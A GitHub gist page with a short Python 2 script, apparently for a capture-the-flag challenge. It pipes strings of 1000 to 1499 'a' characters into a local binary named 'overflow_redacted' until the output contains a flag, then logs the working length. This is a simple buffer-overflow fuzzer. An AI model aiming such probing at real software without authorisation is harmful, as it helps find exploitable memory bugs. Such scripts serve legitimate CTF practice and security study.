Skip to content

Instantly share code, notes, and snippets.

@spnow
Forked from trietptm/gist:7230002
Created November 9, 2013 13:09
Show Gist options
  • Save spnow/7385249 to your computer and use it in GitHub Desktop.
Save spnow/7385249 to your computer and use it in GitHub Desktop.
import subprocess,os,commands
for i in xrange(1000,1500):
textcmd = 'echo ' + 'a'*i + '|./overflow_redacted'
run = subprocess.Popen(textcmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
data, error = run.communicate()
if 'flag' in data:
print i
print data + '\n'
filehandle = open('result.txt', 'a')
filehandle.write(str(i) + '\n' + data + '\n')
filehandle.close()
break
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment